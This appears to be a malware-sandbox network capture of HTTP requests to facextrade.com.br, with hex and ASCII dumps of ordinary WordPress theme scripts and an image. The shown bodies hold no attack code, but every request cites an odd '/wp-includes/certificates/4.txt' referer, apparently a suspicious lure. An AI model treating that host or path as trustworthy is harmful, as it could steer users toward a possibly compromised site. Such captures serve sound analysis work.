28 61 29 3a 28 61 3d 65 28 61 29 2c 69 26 26 61 2e 61 70 70 65 6e 64 54 6f 28 69 29 29 2c 61 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6e 29 7b 74 2e 65 76 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 67 2b 69 2c 6e 29 2c 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 26 26 28 69 3d 69 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 29 2c 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 5b 69 5d 26 26 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 5b 69 5d 2e 61 70 70 6c 79 28 74 2c 65 2e 69 73 41 72 72 61 79 28 6e 29 3f 6e 3a 5b 6e 5d 29 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 74 2e 73 74 2e 66 6f 63 75 73 3f 74 2e 63 6f 6e 74 65 6e 74 2e 66 69 6e 64 28 74 2e 73 74 2e 66 6f 63 75 73 29 2e 65 71 28 30 29 3a 74 2e 77 72 61 70 29 2e 74 72 69 67 67 65 72 28 22 66 6f 63 75 73 22 29 7d 2c 53 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 73 26 26 74 2e 63 75 72 72 54 65 6d 70 6c 61 74 65 2e 63 6c 6f 73 65 42 74 6e 7c 7c 28 74 2e 63 75 72 72 54 65 6d 70 6c 61 74 65 2e 63 6c 6f 73 65 42 74 6e 3d 65 28 74 2e 73 74 2e 63 6c 6f 73 65 4d 61 72 6b 75 70 2e 72 65 70 6c 61 63 65 28 22 25 74 69 74 6c 65 25 22 2c 74 2e 73 74 2e 74 43 6c 6f 73 65 29 29 2c 73 3d 69 29 2c 74 2e 63 75 72 72
                                                                                      Data Ascii: /*! Magnific Popup - v0.9.3 - 2013-07-16* http://dimsemenov.com/plugins/magnific-popup/* Copyright (c) 2013 Dmitry Semenov; */(function(e){var t,i,n,o,a,r,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",v="."+g,h="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,i){t.ev.on(g+e+v,i)},k=function(t,i,n,o){var a=document.createElement("div");return a.className="mfp-"+t,n&&(a.innerHTML=n),o?i&&i.appendChild(a):(a=e(a),i&&a.appendTo(i)),a},T=function(i,n){t.ev.triggerHandler(g+i,n),t.st.callbacks&&(i=i.charAt(0).toLowerCase()+i.slice(1),t.st.callbacks[i]&&t.st.callbacks[i].apply(t,e.isArray(n)?n:[n]))},E=function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger("focus")},S=function(i){return i===s&&t.currTemplate.closeBtn||(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=i),t.curr
                                                                                      Aug 16, 2022 11:39:51.151876926 CEST3850OUTGET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:51.368484974 CEST3861INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:44 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53516-d453-58592d4a732c0"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT
                                                                                      Content-Length: 54355
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21929805 17189110
                                                                                      Age: 186
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 0a 20 2a 20 6a 50 6c 61 79 65 72 20 50 6c 75 67 69 6e 20 66 6f 72 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 70 6c 61 79 65 72 2e 6f 72 67 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 2d 20 32 30 31 34 20 48 61 70 70 79 77 6f 72 6d 20 4c 74 64 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0a 20 2a 0a 20 2a 20 41 75 74 68 6f 72 3a 20 4d 61 72 6b 20 4a 20 50 61 6e 61 67 68 69 73 74 6f 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 36 2e 30 0a 20 2a 20 44 61 74 65 3a 20 32 6e 64 20 41 70 72 69 6c 20 32 30 31 34 0a 20 2a 2f 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 29 3a 62 2e 6a 51 75 65 72 79 3f 66 28 62 2e 6a 51 75 65 72 79 29 3a 66 28 62 2e 5a 65 70 74 6f 29 7d 29 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 62 2e 66 6e 2e 6a 50 6c 61 79 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2c 64 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 74 68 69 73 3b 61 3d 21 63 26 26 64 2e 6c 65 6e 67 74 68 3f 62 2e 65 78 74 65 6e 64 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 5b 21 30 2c 61 5d 2e 63 6f 6e 63 61 74 28 64 29 29 3a 61 3b 69 66 28 63 26 26 22 5f 22 3d 3d 3d 61 2e 63 68 61 72 41 74 28 30 29 29 72 65 74 75 72 6e 20 65 3b 63 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 29 2c 68 3d 63 26 26 62 2e 69 73 46 75 6e 63 74 69 6f 6e 28 63 5b 61 5d 29 3f 63 5b 61 5d 2e 61 70 70 6c 79 28 63 2c 64 29 3a 63 3b 69 66 28 68 21 3d 3d 63 26 26 68 21 3d 3d 66 29 72 65 74 75 72 6e 20 65 3d 68 2c 21 31 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 29 3b 63 3f 63 2e 6f 70 74 69 6f 6e 28 61 7c 7c 0a 7b 7d 29 3a 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 2c 6e 65 77 20 62 2e 6a 50 6c 61 79 65 72 28 61 2c 74 68 69 73 29 29 7d 29 3b 72 65 74 75 72 6e 20 65 7d 3b 62 2e 6a 50 6c 61 79 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3d 62 28 63 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 7d 2c 74 68 69 73 2e 6f 70 74
                                                                                      Data Ascii: /* * jPlayer Plugin for jQuery JavaScript Library * http://www.jplayer.org * * Copyright (c) 2009 - 2014 Happyworm Ltd * Licensed under the MIT license. * http://opensource.org/licenses/MIT * * Author: Mark J Panaghiston * Version: 2.6.0 * Date: 2nd April 2014 */(function(b,f){"function"===typeof define&&define.amd?define(["jquery"],f):b.jQuery?f(b.jQuery):f(b.Zepto)})(this,function(b,f){b.fn.jPlayer=function(a){var c="string"===typeof a,d=Array.prototype.slice.call(arguments,1),e=this;a=!c&&d.length?b.extend.apply(null,[!0,a].concat(d)):a;if(c&&"_"===a.charAt(0))return e;c?this.each(function(){var c=b(this).data("jPlayer"),h=c&&b.isFunction(c[a])?c[a].apply(c,d):c;if(h!==c&&h!==f)return e=h,!1}):this.each(function(){var c=b(this).data("jPlayer");c?c.option(a||{}):b(this).data("jPlayer",new b.jPlayer(a,this))});return e};b.jPlayer=function(a,c){if(arguments.length){this.element=b(c);this.options=b.extend(!0,{},this.opt
                                                                                      Aug 16, 2022 11:39:51.411663055 CEST3918OUTGET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:51.632261038 CEST3923INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:45 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a534b6-ada-58592d488ae40"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:21 GMT
                                                                                      Content-Length: 2778
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21929807 23601768
                                                                                      Age: 186
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 21 20 64 65 76 69 63 65 2e 6a 73 20 30 2e 31 2e 35 38 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3b 61 3d 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 2c 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 3d 7b 7d 2c 63 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6a 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 65 76 69 63 65 2e 69 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 6f 64 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 61 64 28 29 7d 2c 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 6f 64 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 61 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 61 6e 64 72 6f 69 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 21 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 62 6c 61 63 6b 62 65 72 72 79 22 29 7c 7c 64 28 22 62 62 31 30 22 29 7c 7c 64 28 22 72 69 6d 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 21 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 77 69 6e 64 6f 77 73 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 74 6f 75 63 68 22 29 7d 2c 64 65 76 69
                                                                                      Data Ascii: /*! device.js 0.1.58 */(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()||device.ipod()||device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")||d("bb10")||d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},devi
                                                                                      Aug 16, 2022 11:39:51.638330936 CEST3926OUTGET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:51.856499910 CEST3939INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:51 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a530bd-55a-58592d41dde80"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:14 GMT
                                                                                      Content-Length: 1370
                                                                                      Content-Type: image/png
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21929809 17189125
                                                                                      Age: 180
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1f 00 00 00 13 08 06 00 00 00 68 6c d6 42 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 b5 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 52 69 67 68 74 73 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 72 69 67 68 74 73 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 52 69 67 68 74 73 3a 4d 61 72 6b 65 64 3d 22 46 61 6c 73 65 22 20 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 35 30 30 30 31 44 36 32 42 38 31 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 36 34 37 30 31 37 46 45 33 37 43 36 31 31 45 32 42 39 31 43 44 35 36 32 43 35 37 38 38 45 34 45 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 36 34 37 30 31 37 46 44 33 37 43 36 31 31 45 32 42 39 31 43 44 35 36 32 43 35 37 38 38 45 34 45 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 36 20 28 57 69 6e 64 6f 77 73 29 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 34 32 36 35 30 38 39 42 33 46 32 46 45 32 31 31 41 43 37 43 44 38 37 38 36 31 45 35 36 43 37 45 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 35 30 30 30 31 44 36 32 42 38 31 22 2f 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66
                                                                                      Data Ascii: PNGIHDRhlBtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:02801174072068118DBBF50001D62B81" xmpMM:DocumentID="xmp.did:647017FE37C611E2B91CD562C5788E4E" xmpMM:InstanceID="xmp.iid:647017FD37C611E2B91CD562C5788E4E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4265089B3F2FE211AC7CD87861E56C7E" stRef:documentID="xmp.did:02801174072068118DBBF50001D62B81"/> </rdf:Description> </rdf
                                                                                      Aug 16, 2022 11:39:51.866491079 CEST3940OUTGET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:52.080372095 CEST3972INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:45 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a55f36-56f-5c001a3bfb868"
                                                                                      Last-Modified: Thu, 15 Apr 2021 12:02:38 GMT
                                                                                      Content-Length: 1391
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21929810 23601766
                                                                                      Age: 187
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 21 31 2c 6e 3d 21 31 3b 69 66 28 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 69 66 28 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 65 3d 21 30 3b 69 66 28 63 2e 77 70 3d 63 2e 77 70 7c 7c 7b 7d 2c 21 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 29 69 66 28 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 64 61 74 61 3b 69 66 28 74 29 69 66 28 74 2e 73 65 63 72 65 74 7c 7c 74 2e 6d 65 73 73 61 67 65 7c 7c 74 2e 76 61 6c 75 65 29 69 66 28 21 2f 5b 5e 61 2d 7a 41 2d 5a 30 2d 39 5d 2f 2e 74 65 73 74 28 74 2e 73 65 63 72 65 74 29 29 7b 66 6f 72 28 76 61 72 20 72 2c 61 2c 69 2c 73 3d 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 69 66 72 61 6d 65 5b 64 61 74 61 2d 73 65 63 72 65 74 3d 22 27 2b 74 2e 73 65 63 72 65 74 2b 27 22 5d 27 29 2c 6e 3d 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 62 6c 6f 63 6b 71 75 6f 74 65 5b 64 61 74 61 2d 73 65 63 72 65 74 3d 22 27 2b 74 2e 73 65 63 72 65 74 2b 27 22 5d 27 29 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 6e 5b 6f 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 66 6f 72 28 6f 3d 30 3b 6f 3c 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 69 66 28 72 3d 73 5b 6f 5d 2c 65 2e 73 6f 75 72 63 65 3d 3d 3d 72 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 29 7b 69 66 28 72 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 29 2c 22 68 65 69 67 68 74 22 3d 3d 3d 74 2e 6d 65 73 73 61 67 65 29 7b 69 66 28 31 65 33 3c 28 69 3d 70 61 72 73 65 49 6e 74 28 74 2e 76 61 6c 75 65 2c 31 30 29 29 29 69 3d 31 65 33 3b 65 6c 73 65 20 69 66 28 7e 7e 69 3c 32 30 30 29 69 3d 32 30 30 3b 72 2e 68 65 69 67 68 74 3d 69 7d 69 66 28 22 6c 69 6e 6b 22 3d 3d 3d 74 2e 6d 65 73 73 61 67 65 29 69 66 28 61 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 69 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 61 2e 68 72 65 66 3d 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 2c 69 2e 68 72 65 66 3d 74 2e 76 61 6c 75 65 2c 69 2e 68 6f 73 74 3d 3d 3d 61 2e 68 6f 73 74 29 69 66 28 64 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 3d 3d 72 29 63 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 74 2e 76 61 6c 75 65 7d 7d 7d 2c 65 29 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 2c 21 31 29 2c 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 74 2c 21 31 29 2c 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 74 2c 21 31 29 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 69 66 28 21 6e 29 7b 6e 3d 21 30 3b 66 6f 72 28 76 61 72
